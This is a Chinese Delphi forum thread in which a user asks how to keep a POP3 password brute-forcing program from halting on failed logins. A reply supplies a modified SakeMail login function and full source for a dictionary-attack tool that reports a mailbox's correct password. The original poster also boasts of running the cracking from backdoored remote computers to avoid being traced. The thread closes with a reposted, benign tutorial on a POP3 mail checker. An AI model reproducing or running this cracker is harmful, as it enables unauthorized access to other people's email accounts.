反复访问POP3服务器以穷举密码的问题:如何屏蔽错误?(100分)

  • 主题发起人 主题发起人 章慧
  • 开始时间 开始时间

章慧

Unregistered / Unconfirmed
GUEST, unregistred user!
密码不对,出现Auth..... Failed,如何使程序继续运行?
用{$o-}不行,Try Except怎么也不行?,在Delphi外运行也不行,谁做过这个程序
请赐教,可以加分!
 
onerror事件里errorcode:=0不行么?
 
能否详细一些?
( A-Z,a-z,0-9,'.','_')=26+26+10+2=64
还有,如果密码是9位,需要64^9次尝试,就是100个线程尝试,不也要天荒地老,
海枯石烂?
 
首先,的确很慢。其次:
要屏蔽错误最好是自己重写一部分代码,
我写的一个破解 pop3 密码的程序就是
重写了 sakemail 的一部分代码,改写
连接的那一个 function 使得出现错误
的时候不是引发一个异常,而是返回一
个 false ,这样一来,在主程序里面进
行判断就方便的多了。
继续。

 
穷举太慢了。给网管发现说不定还追查你ip
 
To Pipi,不穷举的话,怎么办呢?
我用自编的后门遥控远程计算机群集体穷举,不用担心IP被追查。
To Beta,可否附源码?
可以加分,还可以加¥或者$,三拜百叩,大谢特谢了。
Post Laban.Zhang@263.net
To DelphiSnail,可否给源码?
同志们,给些源码吧,理论我也不是不清楚.. ^-^
 
章慧:
你要干什么坏事呀!还不。。。。。。。。。。。。。。。。。。。。。。。见着有份!

横!呵呵!
 
你看,这是 sakemail 里面的 sakpop3 的函数:
function TSakPOP.Login: boolean;
begin
result := false;
if not FConnected then
begin
raise Exception.create( 'Invalid Op. Not connected.');
end;

FSendTextToSocket( 'USER ' + UserId +crlf);
FReceiveTextFromSocket;
if FPOPError then
begin
FDoErr( 2001);
exit;
end;

FSendTextToSocket( 'PASS ' + UserPasswd +crlf);
FReceiveTextFromSocket;
if FPOPError then
begin
FDoErr( 2001);
exit;
end;

result := true;
FSessionState := Transaction;
end;

这是我修改过后的:

function TSakPOP.MLogin: boolean;
begin
FSendTextToSocket( 'USER ' + UserId + crlf);
FReceiveTextFromSocket;
FSendTextToSocket( 'PASS ' + UserPasswd + crlf);
FReceiveTextFromSocket;
if FPOPError then result := false
else result := true;
end;

看出来有什么不同了吧。只要你安装了 sakemail, 你只需要增加这个函数就可以了,然后:
这是我写的一个软件的源程序:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, SakMsg, SakPOP3, ExtCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Button4: TButton;
EditHost: TEdit;
EditUserId: TEdit;
EditPFile: TEdit;
StatusBar1: TStatusBar;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
SakPOP1: TSakPOP;
Button1: TButton;
Button2: TButton;
Button3: TButton;
OpenDialog1: TOpenDialog;
procedure Button4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure CMess(s: string);
public
{ Public declarations }
end;

var
Form1: TForm1;
s: TStringlist;

implementation

{$R *.DFM}

procedure TForm1.CMess(s: string);
begin
application.MessageBox(pchar(s), '密码测试', 0);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
SakPOP1.Host := EditHost.text;
StatusBar1.Panels[0].text := '正在联接,请稍候......';
SakPOP1.connect;
if SakPOP1.POPError then
begin
StatusBar1.Panels[0].text := '联接主机失败';
cmess('联接失败, 主机没响应.');
exit;
end;
StatusBar1.Panels[0].text := '联接主机成功';
memo1.Lines.Add(EditHost.text + ' 已经联接成功!');
SakPOP1.UserId := EditUserId.text;
Button2.Enabled := true;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
i: longint;
begin
memo1.Lines.Add('已经测试过的错误密码数:');
for i := 0 to s.Count - 1 do
begin
SakPOP1.UserPasswd := s;
//看这里!没有用它的 Login,而是使用了自己的 MLogin
//这样不会引发异常
if SakPOP1.MLogin then
begin
memo1.Lines.Add(EditUserId.text + ' 的正确密码是: ' + SakPOP1.UserPasswd);
cmess('成功了 :-p' + #13#10 + '正确密码:' + SakPOP1.UserId);
SakPOP1.Quit;
Button2.Enabled := false;
exit;
end;
end;
memo1.Lines.Add('测试结束!');
cmess('真遗憾, 没有找到 :-(');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SakPOP1.Quit;
StatusBar1.Panels[0].text := '已断开联接';
memo1.Lines.Add('已断开联接!');
Button2.Enabled := false;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
if opendialog1.Execute then
begin
editpfile.text := opendialog1.FileName;
editpfile.SelStart := length(editpfile.text);
s.Clear;
s.LoadFromFile(editpfile.text);
memo1.Lines.Add('密码条数: ' + inttostr(s.Count) + '条.');
cmess('字典文件准备完毕');
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
s := TStringlist.Create;
opendialog1.InitialDir := extractfilepath(paramstr(0));
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
s.Free;
end;

end.

 
Where is Sakemail? Please Post it to me! Thanks a lot to Laban.Zhang@263.net
Be Quick ! Can you?
 
我已经发了一份给你,请查收。
 
我已经发了一份给你,请查收。
 
上帝呀原来信箱如此的不安全!
真是天下无难事只怕有心人!
 
转载
Delphi中怎样监视POP3信箱


作者:刘明华

---- 本 文 将 向 大 家 介 绍 怎 样 编 写自 己 的 信 箱 监 视 程 序, 程 序 将 直 接 调 用WinSock 函 数 来 进 行网 络 通 信。 除 了 具 备WinSock 编 程 知 识 之 外, 还 必 须 了 解POP3 协 议。 下 面 是 对POP3 的 一 个 粗 略 的 介 绍, 读 者 可 以 参 看RFC 1225 更 为 详 细 地 了 解 该 协 议。 一、 关 于POP3 协 议
  POP3 服 务 器 程 序 通 常 在TCP 端 口110 提 供 服 务。 当 客 户 想 要 使 用 服 务 时, 它 便 与 服 务 器 建 立 一个TCP 连 接。 一 旦 连 接 建 立,POP3 服 务 器 就 向 客 户 发 送 一 条欢 迎 消 息。 然 后 客 户 开 始 给 服 务 器 发 送 命 令, 服 务 器 则 给出 相 应 的 回 答。POP3 的 命 令 由 一 个 关 键 词 或 者 关 键 词 加 参数 组 成。 每 个 命 令 以 回 车 换 行(0xD0xA) 作 为 结 束 标 志。 对于 所 有 的 命 令,POP3 服 务 器 都 会 提 供 一 个 回 答。 服 务 器 的回 答 由 一 个 状 态 标 志 加 一 些 附 加 信 息 组 成。 目 前 使 用 的两 个 标 志 是“ +OK” 和“ -ERR”, 分 别 表 示 客 户 的 命 令 是 否合 法。 所 有 的 回 答 也 是 以 回 车 换 行 结 束。   与 本 文 讨 论 的 话 题 相 关 的 四 个POP3 命 令 是USER、PASS、LIST 和QUIT。

USER 命 令
格 式USER name

  其 中name 是 用 户 在 该POP3 服 务器 上 的 用 户 标 识。 客 户 应 该 在 接 到 服 务 器 的 欢 迎 消 息 后或 者 在 上 一 个 USER 或 者PASS 失 败 之 后 可 以 发 送 此 命 令。

PASS 命 令
格 式PASS string

  其 中string 为 该 用 户 的 密 码。客 户 在 发 送 了USER 命 令 并 且 收 到 了 +OK 的 回 答 之 后 方 可 发送 此 命 令。 如 果 用 户 名 和 密 码 都 正 确, 服 务 器 回 答 +OK,否 则 -ERR。

LIST 命 令
格 式LIST

  如 果 该 用 户 有 邮 件, 则LIST 命令 会 回 答 +OK, 并 列 出 所 有 邮 件 的 标 识 符 和 大 小( 每 个 邮件 一 行), 最 后 一 个 仅 包 含 一 个 句 点 的 行(0xD0xA0x2E) 表 示整 个 回 答 的 结 束。 如 果 该 用 户 没 有 邮 件, 有 些 服 务 器 会 返回 -ERR, 有 些 在 可 能 返 回 一 个 +OK 和 一 个 仅 包 含 一 个 句 点的 行。 当 然, 客 户 必 须 在PASS 命 令 通 过 之 后 客 户 程 序 才 能给 服 务 器 发 送LIST 命 令。

QUIT 命 令


  从POP3 服 务 器 上 退 出 登 录。
二、 实 现 相 关 函 数
  接 下 来 我 们 按 照POP3 协 议 所 定 义的 通 信 规 则 来 实 现 一 个 名 叫POP3CheckMail 的 函 数, 只 要 调 用此 函 数, 我 们 就 可 以 检 测 信 箱 了。
  下 面 的 代 码 是 用 与Delphi 4 兼 容的Pascal 语 言 实 现 的, 我 们 必 须 包 含WinSock 单 元, 并 且 在 调用 下 列 函 数 之 前 初 始 化 好WinSock 动 态 连 接 库。 初 始 化WinSock 动 态 连 接 库 的 代 码 如 下:

  if WSAStartup( $002, wsadata)<>0 then Halt;

  POP3CheckMail 的 原 型 如 下:

  function POP3CheckMail(Email,Password:String;var MailList:TStringList;var ErrorMsg:String):Bool;

  参 数 说 明:

  Email 和Password 分 别 为 用 户 的email 信 箱 名 和 口 令。

  变 量 参 数MailList 用 于 返 回 邮件 的 标 识 和 大 小,MailList.Count 表 示 邮 件 的 封 数。

  变 量 参 数ErrorMsg 返 回 出 错 消息。

  以 下 是POP3CheckMail 及 其 它 所 用到 的 函 数 的 实 现 代 码。

Connect_Server 函 数

  功 能: 与 指 定 的 主 机 建 立 一个TCP 连 接, 返 回 一 个Socket 描 述 符。 参 数host 指 定 主 机 的 名字,Port 指 定 端 口 号。

function Connect_Server(host:string;Port:integer):integer;

var i:integer;

p:^LongInt;

phe:pHostEnt;

sin:sockaddr_in;

begin

sin.sin_family:=AF_INET;

sin.sin_port:=htons(Port);

//Get the IP for host, allowing for dotted decimal

phe:=gethostbyname(pchar(host));

if phe<>nil

then begin

p:=Pointer(phe^.h_addr_list^);

sin.sin_addr.s_addr:=p^;

end

else begin

i:=inet_addr(PChar(Host));

if i<> -1 then sin.sin_addr.S_addr:=i

end;

//create a socket

Result:=socket(PF_INET,SOCK_STREAM,0);

if (Result=INVALID_SOCKET) then Exit;

//connect to server

if Connect(Result,sin,sizeof(sin))=SOCKET_ERROR

then begin {Error handling} end;

end;
Write_Socket 函 数

  功 能: 向Socket 写 入 一 个 字 符串。

function Write_Socket(sockfd:Integer; const s:string):Integer;

begin

result:=Winsock.Send(sockfd,pointer(s)^,Length(s),0)

end;
Socket_Readline 函 数

  功 能: 从Socket 上 读 取 一 行。

function Socket_Readline(sockfd:Integer):String;

//Read until #10

var S:String; buf:array[0..1]of Char;

n:Cardinal;

begin

buf[0]:= #0;buf[1]:= #0; S:=‘';

n:=recv(sockfd,Buf,1,0);

while n>0 do begin

buf[1]:= #0;

S:=S +buf;

if (buf[0]= #10) then Break;

n:=recv(sockfd, buf, 1, 0);

end;

Result:=Trim(S);

end;
Pop3Response 函 数

  功 能: 读 取POP3 服 务 器 的 一 行返 回 信 息, 如 果 是“ +OK” 则 函 数 返 回TURE, 如 果 是“ -ERR” 则 返 回FALSE。

function Pop3Response(Sockfd:Integer):Bool;

var S: string;

begin

S:=socket_readline(sockfd);

if copy(s,1,3)=‘ +OK' then Result:=True

else {if copy(s,1,4)=‘ -ERR' then }Result:=False;

end;
POP3CheckMail 函 数

  功 能: 检 测 名 字 为email 的 信 箱,如 果 有 新 邮 件, 则 通 过 变 量 参 数MailList 将 每 一 封 邮 件 的 大小 返 回。

function POP3CheckMail

(Email,Password:String;var MailList:

TStringList;var ErrorMsg:String):Bool;

var sockfd,i:integer;

S, Host, User:String;

begin

Result:=False; ErrorMsg:=‘';

if MailList=nil then Exit;

S:=Trim(Email);

i:=Pos(‘@',Email);

User:=Trim(Copy(S,1,i -1));

Host:=Trim(Copy(S,i +1,Length(Email) -i));

MailList.Clear;

if (user=‘')or(host=‘') then begin

ErrorMsg:=‘Invalid email address.';exit; end;

if (Host[1]=‘[')and (Host[Length(host)]=‘]')

then begin Host[1]:=‘ ';Host[Length(host)]:= #0;end;

Host:=Trim(host);

sockfd:=Connect_Server(Host,110);

if not Pop3Response(sockfd)then begin ErrorMsg:=

‘Cannot connect to server';exit; end;

Write_Socket(sockfd,‘USER ' +User + #13 #10);

IF NOT POP3Response(sockfd) then begin ErrorMsg:=

‘USER failed'; Exit;end;

Write_Socket(sockfd,‘PASS ' +Password + #13 #10);

IF NOT POP3Response(sockfd) then begin ErrorMsg:=

‘PASS failed'; Exit;end;

Write_Socket(sockfd,‘LIST' #13 #10);

POP3Response(sockfd);

while true do begin

s:=Socket_readline(sockfd);

if s=‘.' then BREAK;

MailList.Add(S);

end;

Write_Socket(sockfd,‘QUIT' #13 #10);

Closesocket(sockfd);

Result:=True;

end;
三、 邮 件 的 检 测
  下 面 我 们 来 看 一 个 使 用POP3CheckMail 函 数 的 简 单 示 例。

var MailList:TstringList;

ErrorMsg:String;

...

MailList:=TstringList.Create;

POP3CheckMail(‘simon_liu@263.net',

‘mypassword', MailList, ErrorMsg);

If MailList.Count>0 then

MessageBox(0, Pchar(‘You have ' +IntToStr

(MailList.Count) + ‘ new messages!'),

‘New Message!', MB_ICONINFORMATION)

Else if ErrorMsg=‘' then MessageBox

(0, ‘No message!', ‘',0)

Else MessageBox(0, Pchar(ErrorMsg), ‘Error', 0);

MailList.Free;
  如 果 你 仔 细 阅 读 了POP3CheckMail 函数 的 实 现 代 码, 你 会 发 现 此 函 数 除 了 可 以 获 取 邮 件 的 封数 之 外, 还 可 以 获 得 每 一 封 邮 件 的 大 小。 你 可 以 通 过POP3CheckMail 函 数 的 变 量 参 数MailList 的Strings 数 组 来 获 取 邮 件 的 大 小。

  实 现 了POP3CheckMail 函 数, 再 在此 基 础 上 编 写 一 个POP3 信 箱 的 监 视 程 序 就 变 得 很 简 单 了。你 可 以 通 过 一 个 定 时 器 来 定 期 地 调 用POP3CheckMail 函 数, 这样 你 就 可 以 监 视 某 个email 信 箱 了。 假 若 你 想 要 同 时 监 视 多个email 信 箱, 只 要 为 每 一 个 信 箱 创 建 一 个 线 程 并 且 在 线 程中 定 期 调 用POP3CheckMail 函 数 即 可。 你 的 程 序 中 如 果 没 有 使用Delphi 的 控 件, 那 么 一 个 完 整 的 信 箱 监 视 程 序 可 能 只 有60K 左 右。


 
各位,多谢啦!
 
后退
顶部